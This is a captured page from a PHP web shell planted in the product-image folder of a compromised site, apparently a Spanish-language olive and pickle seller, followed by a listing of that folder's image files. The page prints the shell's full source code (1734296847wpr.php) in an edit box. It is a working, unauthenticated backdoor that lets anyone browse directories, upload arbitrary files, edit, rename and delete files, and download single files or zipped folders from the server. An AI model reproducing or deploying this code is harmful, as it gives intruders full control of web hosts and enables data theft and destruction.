woortex broww broww
path :/home1/olivascastell/public_html/images/productos/tabla
change directory
upload file:
upload
List of files:
name file
size
edit
permission
action
Edit the file: 1734296847wpr.php
<!DOCTYPE html> <html lang="bn"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>br00ww</title> <style> body { font-family: Arial, sans-serif; background-color: #000; color: #00d1b2; margin: 10px; } .container { max-width: 1100px; margin: 0 auto; background-color: #1a1a1a; padding: 20px; border-radius: 81px; box-shadow: 0 0 110px rgba(0, 209, 178, 0.6); } table { width:100%; border-collapse: collapse; } table, th, td { border: 1px solid #ff00e6; } th, td { padding: 10px; text-align: center; color: #fff; } th { background-color: #00d1b2; color: #000; } .file-actions { display: flex; justify-content: space-evenly; align-items: center; gap: 4px; } .file-actions button, .file-actions a { background-color: #00d1b2; color: #000; border: none; padding: 8px 12px; cursor: pointer; border-radius: 6px; font-size: 14px; display: flex; justify-content: center; align-items: center; } .file-actions a { text-decoration: none; color: #000; } .file-actions button:hover, .file-actions a:hover { background-color: #00ffda; } .icon { font-size: 18px; } input[type="text"] { width: 100px; padding: 10px; font-size: 14px; border: 1px solid #00d1b2; background-color: #1a1a1a; color: #fff; border-radius: 4px; } .path-input { width: 100%; padding: 8px; margin-bottom: 20px; font-size: 14px; background-color: #bf1111; color: #00d1b2; border: 1px solid #00d1b2; border-radius: 4px; } </style> <!-- Font Awesome CDN --> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css"> </head> <body> <div class="container"> <h1 style="font-size: 18px; text-align: center;">woortex broww broww</h1> <!-- ??????? ??? ?????? --> <h3 style="font-size: 15px;">path :<?php echo getcwd(); ?></h3> <!-- ?????????? ??? ???? ??????????? ????? --> <form method="GET"> <input class="path-input" type="text" name="dir" placeholder="User Guide..." value="<?php echo isset($_GET['dir']) ? $_GET['dir'] : getcwd(); ?>"> <button type="submit" name="go_to_dir"><i class="fas fa-folder-open icon"></i>change directory</button> </form> <h3 style="font-size: 14px;">upload file:</h3> <form method="POST" enctype="multipart/form-data"> <input type="file" name="fileToUpload"> <button type="submit" name="upload"><i class="fas fa-upload icon"></i> upload</button> </form> </div> <h3 style="font-size: 14px;"><font color="white">List of files:</h3> <table> <tr> <th>name file</th> <th>size</th> <th>edit</th> <th>permission</th> <th>action</th> </tr> <?php // ???? ???? ???? ??? if (isset($_GET['edit'])) { $file_to_edit = $_GET['edit']; if (file_exists($file_to_edit)) { $file_content = file_get_contents($file_to_edit); echo '<div class="container">'; echo '<h3>Edit the file: ' . basename($file_to_edit) . '</h3>'; echo '<form method="POST">'; echo '<textarea name="edited_content" rows="15" style="width: 100%;">' . htmlspecialchars($file_content) . '</textarea>'; echo '<br><button type="submit" name="save_edits"><i class="fas fa-save icon"></i> save</button>'; echo '</form>'; echo '</div>'; } else { echo "<script>alert('file not found!');window.location.href='';</script>"; } } // ?????? ???? ??? ???? ??? if (isset($_POST['save_edits'])) { $edited_content = $_POST['edited_content']; $file_to_edit = $_GET['edit']; if (file_exists($file_to_edit)) { file_put_contents($file_to_edit, $edited_content); echo "<script>alert('file saved successfully!');window.location.href='';</script>"; } else { echo "<script>alert('file not found!');window.location.href='';</script>"; } } $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // ??????? ????????? if (!is_dir($current_dir)) { $current_dir = getcwd(); // ??? ????????? ?? ??, ??? ?????? ??????? ??????????? ?????????? ??? ??? } $files = scandir($current_dir); // ?????????? ?? ???? ??? ??? foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $full_path = $current_dir . '/' . $file; $is_dir = is_dir($full_path); echo "<tr>"; echo "<td>" . ($is_dir ? "<a href='?dir=" . urlencode($full_path) . "'>" . $file . "</a>" : $file) . "</td>"; echo "<td>" . ($is_dir ? '-' : filesize($full_path) . " KB") . "</td>"; echo "<td>" . date("F d Y H:i:s", filemtime($full_path)) . "</td>"; echo "<td>" . substr(sprintf('%o', fileperms($full_path)), -4) . "</td>"; // ??????? ????? echo "<td class='file-actions'> <a href='?edit=$full_path' title='edit'><i class='fas fa-edit icon'></i></a> <form method='POST' style='display:inline;'> <input type='hidden' name='filename' value='$file'> <button type='submit' name='delete' title='delete'><i class='fas fa-trash icon'></i></button> </form> <a href='?download=$full_path' title='download'><i class='fas fa-download icon'></i></a> <form method='POST' style='display:inline;'> <input type='hidden' name='oldname' value='$file'> <input type='text' name='newname' placeholder='new name'> <button type='submit' name='rename' title='rename'><i class='fas fa-pen icon'></i></button> </form> </td>"; echo "</tr>"; } } ?> </table> <?php // ???? ????? ??? if (isset($_POST['delete'])) { $filename = $_POST['filename']; $file_to_delete = $current_dir . '/' . $filename; if (file_exists($file_to_delete)) { unlink($file_to_delete); echo "<script>alert('File deleted successfully!');window.location.href='';</script>"; } else { echo "<script>alert('File not found!');window.location.href='';</script>"; } } // ???? ????? ??? if (isset($_POST['rename'])) { $oldname = $_POST['oldname']; $newname = $_POST['newname']; if (file_exists($current_dir . '/' . $oldname)) { rename($current_dir . '/' . $oldname, $current_dir . '/' . $newname); echo "<script>alert('The file name has been changed!');window.location.href='';</script>"; } else { echo "<script>alert('File not found!');window.location.href='';</script>"; } } // ???? ????? ??? if (isset($_POST['upload'])) { $target_dir = $current_dir . "/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "<script>alert('File uploaded successfully!');window.location.href='';</script>"; } else { echo "<script>alert('File upload failed!');window.location.href='';</script>"; } } // ???? ??????? ??? (???? ????) if (isset($_GET['download'])) { $file_to_download = $_GET['download']; if (file_exists($file_to_download)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"'); header('Content-Length: ' . filesize($file_to_download)); readfile($file_to_download); exit; } else { echo "<script>alert('File not found!');window.location.href='';</script>"; } } // ?? ???? ??????? ??? (ZIP) if (isset($_POST['download_all'])) { // ZIP ?????? ??? ??? ??????? $zip_file = 'all_files.zip'; // ZIP ????? ??????? ??? ???? ???????? ??? $zip = new ZipArchive(); if ($zip->open($zip_file, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) { // ?????????? ???????? ??? ??? ZIP ? ??? ??? $files = scandir($current_dir); foreach ($files as $file) { if ($file !== '.' && $file !== '..') { $file_path = $current_dir . '/' . $file; if (is_file($file_path)) { $zip->addFile($file_path, basename($file_path)); } } } $zip->close(); // ZIP ???? ??????? ??? header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="' . basename($zip_file) . '"'); header('Content-Length: ' . filesize($zip_file)); flush(); readfile($zip_file); // ??????? ???? ZIP ???? ???? ???? unlink($zip_file); exit; } else { echo "<script>alert('ZIP Failed to create file!!');</script>"; } } ?> </body> </html>
save
1653622558WhatsApp-Image-2022-05-25-at-8.19.37-PM.jpeg
123904 KB
May 27 2022 02:35:58
0644
1653928365TABLA_PICKLES-2.jpg
115588 KB
May 30 2022 13:32:44
0644
1653928499TABLA_CEBOLLITAS.jpg
110133 KB
May 30 2022 13:34:58
0644
1653928560TABLA_PEPINITOS.jpg
116499 KB
May 30 2022 13:36:00
0644
16539286431653928365TABLA_PICKLES-2.jpg
115588 KB
May 30 2022 13:37:22
0644
16539286861653928365TABLA_PICKLES-2.jpg
115588 KB
May 30 2022 13:38:06
0644
16539287111653928365TABLA_PICKLES-2.jpg
115588 KB
May 30 2022 13:38:30
0644
16539287401653928365TABLA_PICKLES-2.jpg
115588 KB
May 30 2022 13:39:00
0644
1653928751TABLA_OLIVAS_VERDES.jpg
118385 KB
May 30 2022 13:39:10
0644
16539287671653928365TABLA_PICKLES-2.jpg
115588 KB
May 30 2022 13:39:26
0644
1653928812TABLA_OLIVAS_VERDES.jpg
118385 KB
May 30 2022 13:40:12
0644
1653928856TABLA_OLIVAS_VERDES.jpg
118385 KB
May 30 2022 13:40:56
0644
1653929589TABLA_OLIVAS_VERDES_DESCAROZADAS.jpg
116057 KB
May 30 2022 13:53:08
0644
1653929604TABLA_OLIVAS_VERDES_DESCAROZADAS.jpg
116057 KB
May 30 2022 13:53:24
0644
1653929619TABLA_OLIVAS_VERDES_DESCAROZADAS.jpg
116057 KB
May 30 2022 13:53:38
0644
1653929656TABLA_OLIVAS_VERDES_RODAJAS.jpg
121463 KB
May 30 2022 13:54:16
0644
1653929672TABLA_OLIVAS_VERDES_RODAJAS.jpg
121463 KB
May 30 2022 13:54:32
0644
1653929708TABLA_OLIVAS_VERDES_RELLENAS.jpg
114406 KB
May 30 2022 13:55:08
0644
1653929723TABLA_OLIVAS_VERDES_RELLENAS.jpg
114406 KB
May 30 2022 13:55:22
0644
1653929979TABLA_OLIVAS_NEGRAS.jpg
112810 KB
May 30 2022 13:59:38
0644
1653929993TABLA_OLIVAS_NEGRAS.jpg
112810 KB
May 30 2022 13:59:52
0644
1653930044TABLA_OLIVAS_NEGRAS.jpg
112810 KB
May 30 2022 14:00:44
0644
1653930079TABLA_PICKLES.jpg
115588 KB
May 30 2022 14:01:18
0644
1653930708TABLA_PEPINITOS.jpg
116499 KB
May 30 2022 14:11:48
0644
1653930754TABLA_OLIVAS_VERDES-2.jpg
118385 KB
May 30 2022 14:12:34
0644
1653930785TABLA_OLIVAS_VERDES_DESCAROZADAS-2.jpg
116057 KB
May 30 2022 14:13:04
0644
1653930820TABLA_OLIVAS_VERDES_RELLENAS-2.jpg
114406 KB
May 30 2022 14:13:40
0644
1653930852TABLA_OLIVAS_NEGRAS-2.jpg
112810 KB
May 30 2022 14:14:12
0644
1653930895TABLA_VERDES_CONDIMENTADAS.jpg
114517 KB
May 30 2022 14:14:54
0644
1653930925TABLA_NEGRAS_CONDIMENTADAS.jpg
114720 KB
May 30 2022 14:15:24
0644
1653930958TABLA_VERDES_CONDIMENTADAS-2.jpg
114517 KB
May 30 2022 14:15:58
0644
1653930982TABLA_VERDES_CONDIMENTADAS-2.jpg
114517 KB
May 30 2022 14:16:22
0644
1653932546TABLA_OLIVAS_VERDES.jpg
118385 KB
May 30 2022 14:42:26
0644
1653932577TABLA_OLIVAS_VERDES_RELLENAS.jpg
114406 KB
May 30 2022 14:42:56
0644
1653932609TABLA_OLIVAS_VERDES_DESCAROZADAS.jpg
116057 KB
May 30 2022 14:43:28
0644
1653932644TABLA_OLIVAS_VERDES_RODAJAS.jpg
121463 KB
May 30 2022 14:44:04
0644
1653932674TABLA_OLIVAS_NEGRAS.jpg
112810 KB
May 30 2022 14:44:34
0644
1653932706TABLA_OLIVAS_NEGRAS-2.jpg
112810 KB
May 30 2022 14:45:06
0644
1653932733TABLA_OLIVAS_NEGRAS-2.jpg
112810 KB
May 30 2022 14:45:32
0644
1653932766TABLA_CEBOLLITAS.jpg
110133 KB
May 30 2022 14:46:06
0644
1653932795TABLA_PICKLES.jpg
115588 KB
May 30 2022 14:46:34
0644
1653932823TABLA_PEPINITOS.jpg
116499 KB
May 30 2022 14:47:02
0644
1653932858TABLA_OLIVAS_VERDES-2.jpg
118385 KB
May 30 2022 14:47:38
0644
1653932878TABLA_OLIVAS_VERDES_DESCAROZADAS-2.jpg
116057 KB
May 30 2022 14:47:58
0644
1653932905TABLA_OLIVAS_VERDES_RELLENAS-2.jpg
114406 KB
May 30 2022 14:48:24
0644
1653932940TABLA_OLIVAS_VERDES-3.jpg
118385 KB
May 30 2022 14:49:00
0644
1653932964TABLA_OLIVAS_VERDES_DESCAROZADAS-3.jpg
116057 KB
May 30 2022 14:49:24
0644
1653932991TABLA_OLIVAS_VERDES_RODAJAS-2.jpg
121463 KB
May 30 2022 14:49:50
0644
1653933026TABLA_OLIVAS_VERDES_RODAJAS-3.jpg
121463 KB
May 30 2022 14:50:26
0644
1653933053TABLA_OLIVAS_VERDES_RELLENAS-3.jpg
114406 KB
May 30 2022 14:50:52
0644
1653933086TABLA_OLIVAS_NEGRAS-3.jpg
112810 KB
May 30 2022 14:51:26
0644
1653933123TABLA_OLIVAS_NEGRAS-4.jpg
112810 KB
May 30 2022 14:52:02
0644
1653933151TABLA_OLIVAS_NEGRAS-5.jpg
112810 KB
May 30 2022 14:52:30
0644
1653933177TABLA_CEBOLLITAS-2.jpg
110133 KB
May 30 2022 14:52:56
0644
1653933204TABLA_PEPINITOS-2.jpg
116499 KB
May 30 2022 14:53:24
0644
1653933231TABLA_PICKLES-2.jpg
115588 KB
May 30 2022 14:53:50
0644
1653933307TABLA_OLIVAS_VERDES-4.jpg
118385 KB
May 30 2022 14:55:06
0644
1653933345TABLA_OLIVAS_VERDES_DESCAROZADAS-4.jpg
116057 KB
May 30 2022 14:55:44
0644
1653933439TABLA_OLIVAS_VERDES_RELLENAS-4.jpg
114406 KB
May 30 2022 14:57:18
0644
1653933467TABLA_OLIVAS_VERDES_RODAJAS-4.jpg
121463 KB
May 30 2022 14:57:46
0644
1653933495TABLA_OLIVAS_NEGRAS-6.jpg
112810 KB
May 30 2022 14:58:14
0644
1734296847wpr.php
10687 KB
December 15 2024 15:07:27
0644
TABLA-AJIES.jpg
66321 KB
June 03 2022 18:57:16
0644
TABLA-ALCAUCILES.jpg
67704 KB
June 03 2022 18:55:40
0644
TABLA-ESPARRAGOS.jpg
67864 KB
June 03 2022 18:56:30
0644
TABLA-PEPINITOS-AGRIDULCES.jpg
67504 KB
June 03 2022 18:53:12
0644
TABLA-saborizadas.jpg
60425 KB
June 22 2022 14:16:47
0644
TABLA_OLIVAS_VERDES.jpg
118385 KB
May 17 2022 21:24:46
0644
TABLA_OLIVAS_VERDES_DESCAROZADAS.jpg
116057 KB
May 17 2022 21:26:48
0644
error_log
771012 KB
April 11 2025 14:26:29
0644